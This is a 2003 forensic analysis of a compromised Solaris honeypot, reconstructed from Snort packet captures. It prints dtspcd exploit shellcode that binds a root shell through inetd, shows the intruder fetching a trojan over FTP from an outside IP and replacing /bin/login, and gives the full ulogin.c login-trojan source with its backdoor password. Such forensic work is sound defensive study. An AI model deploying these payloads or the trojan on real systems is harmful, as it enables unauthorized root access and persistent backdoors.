IDS Logs in Forensics Investigations: An Analysis of a Compromised Honeypot

Alan Neville 2003-03-20

An attacker has compromised a Sun Solaris server on a production network using an exploit for the dtspcd service in CDE; a Motif-based graphical user environment for Unix systems. You are the senior security engineer of the Security Operations Center (SOC) for your company and are required to find out how the box was compromised and by whom. Using only a Snort binary capture file from the remote log server, you are to conduct a complete analysis of all IDS captures, log files, and an inspection of the file system.

This paper will deconstruct the steps taken to conduct a full analysis of a compromised machine. In particular, we will be examining the tool that was used to exploit a dtspcd buffer overflow vulnerability, which allows remote root access to the system. The objective of this paper is to show the value of IDS logs in conducting forensics investigations.

Analyzing the Logs

The following section will discuss the methods and techniques used in analysing and assessing the problem at hand. This investigation will use a Snort binary file was generously provided by Lance Spitzner and the Honeynet Project.

After downloading the Snort binary capture file to my workstation, I began work immediately. I first untarred the Snort logs and checked to see the type of file format they were captured in.

```
-bash-2.05b$ tar -zxvf 0108@000-snort.log.tar.gz

-bash-2.05b$ file 0108@000-snort.log
tcpdump capture file (big-endian) - version 2.4 (Ethernet, capture length
1514)
```

I skimmed the packets and immediately started to ascertain what had happened, which I will explain in detail below.

```
14:46:04.378306 adsl-61-1-160.dab.bellsouth.net.3592 > 172.16.1.102.6112: P 1:14

49(1448) ack 1 win 16060 <nop,nop,timestamp 463986683 4158792> (DF)
0x0000   4500 05dc a1ac 4000 3006 241c d03d 01a0       E.....@.0.$..=..
0x0010   ac10 0166 0e08 17e0 fee2 c115 5f66 192f       ...f........_f./
0x0020   8018 3ebc e1e9 0000 0101 080a 1ba7 dffb       ..>.............
0x0030   003f 7548 3030 3030 3030 3032 3034 3130       .?uH000000020410
0x0040   3365 3030 3031 2020 3420 0000 0031 3000       3e0001..4....10.
0x0050   801c 4011 801c 4011 1080 0101 801c 4011        .@...@.......@.
0x0060   801c 4011 801c 4011 801c 4011 801c 4011       ..@...@...@...@.
0x0070   801c 4011 801c 4011 801c 4011 801c 4011       ..@...@...@...@.
0x0080   801c 4011 801c 4011 801c 4011 801c 4011       ..@...@...@...@.
0x0090   801c 4011 801c 4011 801c 4011 801c 4011       ..@...@...@...@.
0x00a0   801c 4011 801c 4011 801c 4011 801c 4011       ..@...@...@...@.
```

```
0x00b0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00c0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00d0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00e0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00f0   801c 4011 801c 4011 801c 4011 801c 4011         ..@...@...@...@.

[logs cut short due to repeated patterns]
```

Something worth noting in this packet are the "@" symbols above; hexadecimal (0x801c4011) is NOP instruction code for the Sparc architecture. The more familiar NOP slide being 0x90, however, will only work on i386 machines. What exactly is a NOP slide? It's a means of padding the buffer in an exploit where it is not immediately known where code execution will begin. If the exploit points to any place in the NOP padding, the CPU will follow the NOP slide into the executable code.

I then used tcpdump to output all the hex dumps of each packet sent to this specific destination IP into readable format.

```
-bash-2.05b$ tcpdump -X -r 0108@000-snort.log host 172.16.1.102
```

Piecing together "The Big Picture"

As I went down through the logs I found the packet responsible for executing code on the server:

```
[beginning of packet removed due to NOP slides]
0x04d0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x04e0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x04f0   20bf ffff 20bf ffff 7fff ffff 9003 e034        ...............4
0x0500   9223 e020 a202 200c a402 2010 c02a 2008        .#...........*..
0x0510   c02a 200e d023 ffe0 e223 ffe4 e423 ffe8        .*...#...#...#..
0x0520   c023 ffec 8210 200b 91d0 2008 2f62 696e        .#........../bin
0x0530   2f6b 7368 2020 2020 2d63 2020 6563 686f        /ksh....-c..echo
0x0540   2022 696e 6772 6573 6c6f 636b 2073 7472        ."ingreslock.str
0x0550   6561 6d20 7463 7020 6e6f 7761 6974 2072        eam.tcp.nowait.r
0x0560   6f6f 7420 2f62 696e 2f73 6820 7368 202d        oot./bin/sh.sh.-
0x0570   6922 3e2f 746d 702f 783b 2f75 7372 2f73        i">/tmp/x;/usr/s
0x0580   6269 6e2f 696e 6574 6420 2d73 202f 746d        bin/inetd.-s./tm
0x0590   702f 783b 736c 6565 7020 3130 3b2f 6269        p/x;sleep.10;/bi
0x05a0   6e2f 726d 202d 6620 2f74 6d70 2f78 2041        n/rm.-f./tmp/x.A
0x05b0   4141 4141 4141 4141 4141 4141 4141 4141        AAAAAAAAAAAAAAAA
0x05c0   4141 4141 4141 4141 4141 4141 4141 4141        AAAAAAAAAAAAAAAA
0x05d0   4141 4141 4141 4141 4141 4141                      AAAAAAAAAAAA
```

Code executed:

```
./bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i"/tmp/x;/usr/sbin/
inetd -s
/tmp/x;sleep 10;/bin/rm -f /tmp/x
```

As we can see, the exploit makes use of the Korn shell by creating a file within the /tmp directory called "x". Within this file, it creates an inetd.conf style entry and starts the inet daemon, using the file "/tmp/x" as its configuration file. This spawns a root shell on the ingreslock port (1524/tcp). The ingreslock port has had a history of exploit shells bound to it, including, but not limited to, rpc.cmsd, statd, and tooltalk. As you can see, dtspcd is in good company.

The first step in our analysis is complete. We have now discovered how the intruder managed to gain access to the system. We can now take a second look at the logs, taking in all relevant information regarding port 1524/tcp where the intruder is sure to have opened up some sort of raw connection (most likely telnet) to issue commands on the server.

```
14:46:18.398427 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock:
P 1:209(208) ack 1 win 16060 <nop,nop,timestamp 463988091 4160200> (DF)
0x0000   4500 0104 a1cc 4000 3006 28d4 d03d 01a0       E.....@.0.(..=..
0x0010   ac10 0166 0e0c 05f4 fff7 8025 5fbb 0117       ...f.......%_...
0x0020   8018 3ebc 5082 0000 0101 080a 1ba7 e57b       ..>.P..........{
0x0030   003f 7ac8 756e 616d 6520 2d61 3b6c 7320       .?z.uname.-a;ls.
0x0040   2d6c 202f 636f 7265 202f 7661 722f 6474       -l./core./var/dt
0x0050   2f74 6d70 2f44 5453 5043 442e 6c6f 673b       /tmp/DTSPCD.log;
0x0060   5041 5448 3d2f 7573 722f 6c6f 6361 6c2f       PATH=/usr/local/
0x0070   6269 6e3a 2f75 7372 2f62 696e 3a2f 6269       bin:/usr/bin:/bi
0x0080   6e3a 2f75 7372 2f73 6269 6e3a 2f73 6269       n:/usr/sbin:/sbi
0x0090   6e3a 2f75 7372 2f63 6373 2f62 696e 3a2f       n:/usr/ccs/bin:/
0x00a0   7573 722f 676e 752f 6269 6e3b 6578 706f       usr/gnu/bin;expo
0x00b0   7274 2050 4154 483b 6563 686f 2022 4244       rt.PATH;echo."BD
0x00c0   2050 4944 2873 293a 2022 6070 7320 2d66       .PID(s):."`ps.-f
0x00d0   6564 7c67 7265 7020 2720 2d73 202f 746d       ed|grep.'.-s./tm
0x00e0   702f 7827 7c67 7265 7020 2d76 2067 7265       p/x'|grep.-v.gre
0x00f0   707c 6177 6b20 277b 7072 696e 7420 2432       p|awk.'{print.$2
0x0100   7d27 600a                                     }'`.
```

This packet shows us the commands that were run when the intruder made a raw connection with port 2514/tcp.

Code executed:

```
uname -a;ls -l /core
/var/dt/tmp/DTSPCD.log;
        PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;
export PATH;echo
"BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
```

Obviously, this was an automated command, which was executed once a raw connection was established with the compromised system. We can tell this from the time-stamps on each Snort packet. We know the command was issued at exactly, **14:46:18.398427**, as seen in the above packet dump. As evident from the logs, the command was then processed and executed, all in under a single second, at **14:46:18.901413**.

The packet dumps below explain more:

This packet follows the automated command above.

```
14:46:18.399867 172.16.1.102.6112 > adsl-61-1-160.dab.bellsouth.net.3595:
. ack 4180 win 24616 <nop,nop,timestamp 4160216 463988091> (DF)
0x0000   4500 0034 6aa0 4000 3f06 51d0 ac10 0166        E..4j.@.?.Q....f
0x0010   d03d 01a0 17e0 0e0b 5f82 f43f fee0 9c9b        .=......_..?....
0x0020   8010 6028 05dd 0000 0101 080a 003f 7ad8        ..`(.........?z.
0x0030   1ba7 e57b                                      ...{
14:46:18.400270 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596:
. ack 209 win 24408 <nop,nop,timestamp 4160216 463988091> (DF)
0x0000   4500 0034 6aa1 4000 3f06 51cf ac10 0166        E..4j.@.?.Q....f
0x0010   d03d 01a0 05f4 0e0c 5fbb 0117 fff7 80f5        .=......_.......
0x0020   8010 5f58 2617 0000 0101 080a 003f 7ad8        .._X&........?z.
0x0030   1ba7 e57b                                      ...{
14:46:18.421722 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596:
P 1:3(2) ack 209 win 24616 <nop,nop,timestamp 4160218 463988091> (DF)
0x0000   4500 0036 6aa2 4000 3f06 51cc ac10 0166        E..6j.@.?.Q....f
0x0010   d03d 01a0 05f4 0e0c 5fbb 0117 fff7 80f5        .=......_.......
0x0020   8018 6028 021b 0000 0101 080a 003f 7ada        ..`(.........?z.
0x0030   1ba7 e57b 2320                                 ...{#.
14:46:18.502830 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock:
. ack 3 win 16060 <nop,nop,timestamp 463988109 4160218> (DF)
0x0000   4500 0034 a1ce 4000 3006 29a2 d03d 01a0        E..4..@.0.)..=..
0x0010   ac10 0166 0e0c 05f4 fff7 80f5 5fbb 0119        ...f........_...
0x0020   8010 3ebc 469d 0000 0101 080a 1ba7 e58d        ..>.F...........
0x0030   003f 7ada                                      .?z.
14:46:18.505611 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596:
P 3:98(95) ack 209 win 24616 <nop,nop,timestamp 4160227 463988109> (DF)
0x0000   4500 0093 6aa3 4000 3f06 516e ac10 0166        E...j.@.?.Qn...f
0x0010   d03d 01a0 05f4 0e0c 5fbb 0119 fff7 80f5        .=......_.......
0x0020   8018 6028 2401 0000 0101 080a 003f 7ae3        ..`($........?z.
```

```
0x0030   1ba7 e58d 5375 6e4f 5320 6275 7a7a 7920        ....SunOS.buzzy.
0x0040   352e 3820 4765 6e65 7269 635f 3130 3835        5.8.Generic_1085
0x0050   3238 2d30 3320 7375 6e34 7520 7370 6172        28-03.sun4u.spar
0x0060   6320 5355 4e57 2c55 6c74 7261 2d35 5f31        c.SUNW,Ultra-5_1
0x0070   300a 2f63 6f72 653a 204e 6f20 7375 6368        0./core:.No.such
0x0080   2066 696c 6520 6f72 2064 6972 6563 746f        .file.or.directo
0x0090   7279 0a                                        ry.
14:46:18.610945 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock:
. ack 98 win 16060 <nop,nop,timestamp 463988120 4160227< (DF)
0x0000   4500 0034 a1cf 4000 3006 29a1 d03d 01a0        E..4..@.0.)..=..
0x0010   ac10 0166 0e0c 05f4 fff7 80f5 5fbb 0178        ...f........_..x
0x0020   8010 3ebc 462a 0000 0101 080a 1ba7 e598        ..>.F*..........
0x0030   003f 7ae3                                      .?z.
14:46:18.612370 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596:
P 98:148(50) ack 209 win 24616 <nop,nop,timestamp 4160237 463988120> (DF)
0x0000   4500 0066 6aa4 4000 3f06 519a ac10 0166        E..fj.@.?.Q....f
0x0010   d03d 01a0 05f4 0e0c 5fbb 0178 fff7 80f5        .=......_..x....
0x0020   8018 6028 83ff 0000 0101 080a 003f 7aed        ..`(.........?z.
0x0030   1ba7 e598 2f76 6172 2f64 742f 746d 702f        ..../var/dt/tmp/
0x0040   4454 5350 4344 2e6c 6f67 3a20 4e6f 2073        DTSPCD.log:.No.s
0x0050   7563 6820 6669 6c65 206f 7220 6469 7265        uch.file.or.dire
0x0060   6374 6f72 790a                                 ctory.
14:46:18.710415 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock:
. ack 148 win 16060  (DF)
0x0000   4500 0034 a1d1 4000 3006 299f d03d 01a0        E..4..@.0.)..=..
0x0010   ac10 0166 0e0c 05f4 fff7 80f5 5fbb 01aa        ...f........_...
0x0020   8010 3ebc 45e4 0000 0101 080a 1ba7 e5a2        ..>.E...........
0x0030   003f 7aed                                      .?z.
14:46:18.801409 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596:
P 148:164(16) ack 209 win 24616 <nop,nop,timestamp 4160256 463988130> (DF)
0x0000   4500 0044 6aa5 4000 3f06 51bb ac10 0166        E..Dj.@.?.Q....f
0x0010   d03d 01a0 05f4 0e0c 5fbb 01aa fff7 80f5        .=......_.......
0x0020   8018 6028 9c52 0000 0101 080a 003f 7b00        ..`(.R.......?{.
0x0030   1ba7 e5a2 4244 2050 4944 2873 293a 2033        ....BD.PID(s):.3
0x0040   3437 360a                                      476.




14:46:18.901413 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock:
. ack 164 win 16060 <nop,nop,timestamp 463988149 4160256> (DF)
0x0000   4500 0034 a1d3 4000 3006 299d d03d 01a0        E..4..@.0.)..=..
0x0010   ac10 0166 0e0c 05f4 fff7 80f5 5fbb 01ba        ...f........_...
0x0020   8010 3ebc 45ae 0000 0101 080a 1ba7 e5b5        ..>.E...........
0x0030   003f 7b00                                      .?{.
```

Executed Comands

I have provided only a few of the numerous commands executed by the intruder. The following are some of the manual commands issued within an interactive shell. I can decipher the automated and manual commands due to the session duration as each command is executed.

Manual commands were then issued once the automated commands were executed. Each command and reply are shown below:

```
# w
8:47am  up 11:24,  0 users,  load average: 0.12, 0.04, 0.02
User     tty           login@  idle   JCPU   PCPU  what

# unset HISTFILE
# cd /tmp
mkdir /usr/lib

# mkdir: Failed to make directory "/usr/lib"; File exists

# mv /bin/login /usr/lib/libfl.k

# ftp 64.224.118.115
ftp
ftp: ioctl(TIOCGETP): Invalid argument
Password:a@
cd pub
binary
get sun1
bye

Name (64.224.118.115:root): #

# ls
ps_data
sun1

# chmod 555 sun1
# mv sun1 /bin/login
```

FTP Session Analysis

The above text in bold was then further broken down using Ethereal Follow TCP Stream option.

```
220 widcr0004atl2.interland.net FTP server (Version wu-2.6.2(1) Tue Jan 8 07:50:31
EST 2002) ready.
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS a@
230 Guest login ok, access restrictions apply.
CWD pub
250 CWD command successful.
TYPE I
200 Type set to I.
PORT 172,16,1,102,130,234
200 PORT command successful.
RETR sun1
150 Opening BINARY mode data connection for sun1 (90544 bytes).
226 Transfer complete.
QUIT
221-You have transferred 90544 bytes in 1 files.
221-Total traffic for this session was 91042 bytes in 1 transfers.
221-Thank you for using the FTP service on widcr0004atl2.interland.net.
221 Goodbye.
```

As we can see, the intruder established an ftp connection to a remote machine and retrieved a file called "sun1". Once the ftp connection was closed, the intruder then modified the file permissions of the sun1 file and renamed it to /bin/login as seen by the session dump above.

To take a closer look at this, I again used tcpdump to output all the ftp-port packets into readable format.

```
bash-2.05$ tcpdump -X -r 0108@000-snort.log port ftp-data
```

Judging by the intruder's last commands, it looks like some form of edited /bin/login program, obviously trojaned with a backdoor of some sort. I then decided to take another look at the Snort logs using Ethereal to reproduce the sun1 program, which allowed me to conduct a further analysis on what the program was.

Retrieving "sun1" Binary File

Using Ethereal's TCP Recovery feature, I opened up the Snort binary file, right clicked on one of the FTP-DATA packets, and selected "TCP Stream" from the Ethereal options. Once complete, I then saved the file under the name of "sun1" in ASCII format.

Analyzing the Binary

Once I saved the binary, I analyzed the file command by running:

```
-bash-2.05b$ file sun1
sun1: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
```

We know that the sun1 file was compiled on a SUN Operating System with all extra debugging information removed, which could have been used to aid us in using the strings command, but for what purpose was this binary file retrieved? Let's find out.

Also, notice how the file is statically linked. This tells us that this binary doesn't call upon any libraries on the host system and can be run independently: the code is fully mobile from system to system. First, let's give the `strings` command a try to see what we can pick up. We can do this by issuing the following command at our console.

```
-bash-2.05b$ strings sun1 | more
```

We get quite a large output from this command, roughly 1245 lines total. While scrolling through the printable character sequences produced by the strings command, the following lines caught my eye.

```
DISPLAY
/usr/lib/libfl.k
pirc
/bin/sh
```

Going on the above information, I attempted to export pirc into a DISPLAY variable in bash using the following command. `-bash-2.05b$ DISPLAY=pirc`, running the binary with truss, a system command designed to trace system calls' specified processes or programs. I did not have a Sun box to run the binary file on in order to gather additional information.

So what did we learn about the binary file? Apparently, the sun1 file is some sort of backdoored login program. When the intruder gained access to the system, he renames the original /bin/login to /usr/lib/libfl.k and replaces it with the sun1 binary. It is hypothesized that the sun1 trojan/wrapper of /bin/login will not log connections using the backdoor password.

On checking the recovered file using strings(), we can see that the file is somehow linked to a "/usr/lib/libfl.k" file, the original login program. To me, it seems that the file checks for a specific setting on the DISPLAY variable, in this case, I believe the key to be "pirc", which activates the backdoor and drops the user into a root shell. Otherwise, the program dumps the user at the original login program.

I decided to have a quick search for the source code to this binary file, in hopes of retrieving additional information. I went to Packet Storm and conducted a search for "rootkit trojan DISPLAY pirc". The following was the first result that turned up:

UNIX/ penetration/ rootkits/ ulogin.c	**4d5c12f579e07686a1b350c0064601f4**
Universal login trojan - Login trojan for pretty much any O/S. Tested on Linux, BSDI 2.0, FreeBSD, IRIX 6.x, 5.x, Sunos 5.5,5.6,5.7, and OSF1/DGUX4.0. Works by checking the DISPLAY environment variable before passing the session to the real login binary. Homepage here. By Tragedy	

It seems obvious from the description above that this ulogin.c program is indeed the sun1 binary that was recovered from the Snort logs.

The following is the source code from ulogin.c found on Packet Storm.

```
/*
 * PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !!
 *      Universal login trojan by Tragedy/Dor
 *              Email: rawpower@iname.com
 *              IRC: [Dor]@ircnet
 *
 *      Login trojan for pretty much any O/S...
 *      Tested on:   Linux, BSDI 2.0, FreeBSD, IRIX 6.x, 5.x, Sunos 5.5,5.6,5.7
 *                   OSF1/DGUX4.0,
 *      Known not to work on:
 *              SunOS 4.x and 5.4... Seems the only variable passwd to login
 *              on these versions of SunOS is the $TERM... and its passed via
 *              commandline option... should be easy to work round in time
 *
 *   #define        PASSWORD  - Set your password here
 *   #define        _PATH_LOGIN - This is where you moved the original login to
 *  login to hacked host with...
 *  from bourne shell (sh, bash) sh DISPLAY="your pass";export DISPLAY;telnet host
 *
 */

#include        <stdio.h>
#if !defined(PASSWORD)
#define         PASSWORD        "j4l0n3n"
#endif
#if !defined(_PATH_LOGIN)
# define                _PATH_LOGIN     "/bin/login"
#endif
```

```
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
  if ( display == NULL ) {
        execve(_PATH_LOGIN, argv, envp);
        perror(_PATH_LOGIN);
        exit(1);
        }
  if (!strcmp(display,PASSWORD)) {
                system("/bin/sh");
        exit(1);
        }

        execve(_PATH_LOGIN, argv, envp);
        exit(1);
}
```

Final Binary Analysis

As we can see in the source code, the attacker is to issue the following commands in order for this backdoor to work correctly.

```
from bourne shell (sh, bash) sh DISPLAY="your pass";export DISPLAY;telnet host
```

Using this information, we can begin to guess how this backdoor dumps the user at a root shell. Since the backdoor calls on the original "login" program, it's safe to say, if the DISPLAY variable isn't set to the correct parameters, it will pass you back to the original login program specified in the source code of the exploit by the following line.

```
# define                _PATH_LOGIN     "/bin/login"
```

By looking at the payload from the exploit once the buffer-overflow was successful we can see the command (s) executed by the intruder.

Reference: FTP SESSION ANALYSIS

```
"./bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i"
   /tmp/x;/usr/sbin/inetd -s /tmp/x;sleep 10;/bin/rm -f /tmp/x"
```

The above command(s) were issued and we saw how the intruder created a root shell running on port 1524 (ingereslock port), using inetd. We can see four (4) different commands being executed within the above command string. If we break them up, we can then decipher which commands did what.

```
./bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i"/tmp/x;
```

This command uses the Korn shell to create a file called /tmp/x with a one line entry of an inetd configuration file. The file /tmp/x contained the inetd configuration entry of "ingreslock stream tcp nowait root /bin/sh sh -i".

```
/usr/sbin/inetd -s /tmp/x;
```

It then attempts to start inetd using /tmp/x as its configuration file.

```
sleep 10;
```

This tells the system to stall for 10 seconds to allow the inetd process to restart when being restarted with its new configuration script.

```
/bin/rm -f /tmp/x
```

This command simply removes the /tmp/x file which is being used as the inetd configuration file from the tmp directory once inetd has restarted.

Conclusion

The need for increased vigilance in learning forensic analysis with and without IDS logs continues to grow. The reality of this industry remains the same, despite the continued changes and advancements in the types of tools hackers will use. The fact remains that Snort and other IDS solutions are currently limited to signature-based detection. If an unknown exploit is used against a network that is being monitored, the only evidence from the crime scene made available are system and application log files. As a result, it is critical to ensure that logs remain sanitized by storing them remotely for follow-up investigations.

By monitoring one's system logfiles and utilizing intrusion detection systems such as Snort on both large and small production networks, systems administrators can gain additional coverage and photographs to go back and look at when something occurs.

Tools Used Within This Analysis

tcpdump - Tcpdump prints out the headers of packets on a network interface that match the boolean expression

Ethereal -Ethereal is a GUI network protocol analyzer. It lets you interactively browse packet data from a live network or from a previously saved capture file.

File - The file utility conducts three sets of tests; filesystem tests, magic number tests, and language tests printing out the file type.

Strings - For each file given, GNU strings prints the printable character sequences that are at least 4 characters long and are followed by an unprintable character.

Truss - The truss utility traces the system calls called by the specified process or program.

Alan Neville has been involved in information security for the past three years. Director of Ireland Security Information Centre (ISIC), a Fate Research Labs funded centre based in Europe. Alan heads all European operations as well as managing the Ireland honeynet, a project to identify ongoing attacks that threaten the network infrastructure and security posture of Irish-based networks nation-wide.

Relevant Links

Fate Research Labs

ISIC Research Labs

Official Honeynet Project

PacketStormSecurity